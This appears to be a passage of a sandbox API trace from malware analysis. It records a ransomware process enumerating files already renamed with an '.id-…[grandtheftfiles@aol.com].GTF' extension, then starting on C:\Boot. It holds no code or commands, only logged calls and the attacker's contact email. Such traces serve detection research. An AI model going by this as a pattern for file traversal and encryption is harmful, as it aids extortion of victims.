	[0153.236] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa05ce010, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa05ce010, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa068cbd2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="Rotate3.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="ROTATE~3.GTF")) returned 1
	[0153.236] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa05ce010, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa05ce010, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa061a43a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="Rotate4.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="ROTATE~4.GTF")) returned 1
	[0153.236] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa061a43a, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa061a43a, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa06406a2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="Rotate5.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="ROA729~1.GTF")) returned 1
	[0153.236] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa061a43a, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa061a43a, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa09ae005, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="Rotate6.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="RO0ECB~1.GTF")) returned 1
	[0153.236] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa06669c1, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa06669c1, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa06669c1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="Rotate7.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="ROE90F~1.GTF")) returned 1
	[0153.236] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa06ff259, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa06ff259, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa1016218, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="Rotate8.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="RO836C~1.GTF")) returned 1
	[0153.237] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa06ff259, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa06ff259, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa07e4339, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="Save.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SAVEIC~1.GTF")) returned 1
	[0153.237] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa0771964, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa0771964, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0797dfe, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="Setup.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPI~1.GTF")) returned 1
	[0153.237] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa0797dfe, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa0797dfe, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa103c469, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="stop.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="STOPIC~1.GTF")) returned 1
	[0153.237] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa10faffa, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa10faffa, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa1763645, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SysReqMet.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SYSREQ~2.GTF")) returned 1
	[0153.237] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa1016218, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa1016218, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa16586b1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SysReqNotMet.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SYSREQ~1.GTF")) returned 1
	[0153.237] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa103c469, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa103c469, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa103c469, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="warn.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="WARNIC~1.GTF")) returned 1
	[0153.237] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa103c469, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa103c469, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa103c469, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="warn.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="WARNIC~1.GTF")) returned 0
	[0153.237] FindClose (in: hFindFile=0x4140458 | out: hFindFile=0x4140458) returned 1
	[0153.238] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.238] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa04e9481, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa04e9481, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa05a7e25, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="header.bmp.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="HEADER~1.GTF")) returned 1
	[0153.238] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xa2bcd7f7, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="netfx_Core.mzz.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="NETFX_~1.GTF")) returned 1
	[0153.238] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xa22b6728, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="netfx_Core_x64.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="NETFX_~2.GTF")) returned 1
	[0153.238] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa1763645, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa1763645, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa1dcbb4b, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="netfx_Core_x86.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="NETFX_~3.GTF")) returned 1
	[0153.239] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa42782c0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="netfx_Extended.mzz.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="NETFX_~4.GTF")) returned 1
	[0153.239] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa21855a8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa21855a8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa21d1a97, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="netfx_Extended_x64.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="NE394B~1.GTF")) returned 1
	[0153.239] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2433eea, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa2433eea, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa245a2df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="netfx_Extended_x86.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="NE3072~1.GTF")) returned 1
	[0153.239] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa05ce010, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa05ce010, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa06b2ee1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="ParameterInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PARAME~1.GTF")) returned 1
	[0153.239] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2480588, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa2480588, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa24f2bb6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="RGB9RAST_x64.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="RGB9RA~1.GTF")) returned 1
	[0153.240] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2519a01, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa2519a01, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa253f02e, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="RGB9Rast_x86.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="RGB9RA~2.GTF")) returned 1
	[0153.240] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa253f02e, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa253f02e, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa296b183, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="Setup.exe.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPE~1.GTF")) returned 1
	[0153.240] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa264a08a, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa264a08a, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa29b77a6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="SetupEngine.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPE~2.GTF")) returned 1
	[0153.240] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2bcd7f7, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa2bcd7f7, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa2f87479, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="SetupUi.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPU~2.GTF")) returned 1
	[0153.240] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa05f41a2, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa05f41a2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa06669c1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="SetupUi.xsd.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPU~1.GTF")) returned 1
	[0153.240] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2fad6f8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa2fad6f8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa2fad6f8, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="SetupUtility.exe.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPU~3.GTF")) returned 1
	[0153.240] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa068cbd2, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa068cbd2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa06d9132, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="SplashScreen.bmp.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SPLASH~1.GTF")) returned 1
	[0153.240] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa34792a7, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa34792a7, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa34792a7, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="sqmapi.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SQMAPI~1.GTF")) returned 1
	[0153.240] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa06d9132, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa06d9132, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa06ff259, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="Strings.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="STRING~1.GTF")) returned 1
	[0153.241] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa06d9132, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa06d9132, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0ff158f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="UIINFO~1.GTF")) returned 1
	[0153.241] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa06ff259, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa06ff259, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0ebed7a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="watermark.bmp.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="WATERM~1.GTF")) returned 1
	[0153.241] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xa45e58c6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="WINDOW~1.GTF")) returned 1
	[0153.241] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xa42782c0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="WINDOW~2.GTF")) returned 1
	[0153.241] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0xa4e8a19e, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="WINDOW~3.GTF")) returned 1
	[0153.241] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xa4f6ee8b, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="WINDOW~4.GTF")) returned 1
	[0153.241] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xa4f6ee8b, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="WINDOW~4.GTF")) returned 0
	[0153.241] FindClose (in: hFindFile=0x5ba530 | out: hFindFile=0x5ba530) returned 1
	[0153.241] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x39f0740 | out: hHeap=0x5a0000) returned 1
	[0153.242] FindNextFileW (in: hFindFile=0x5ba2b0, lpFindFileData=0x310fcf8 | out: lpFindFileData=0x310fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77be0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0153.242] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x39f0740
	[0153.243] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName=".", cAlternateFileName="")) returned 0x41400d8
	[0153.244] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="..", cAlternateFileName="")) returned 1
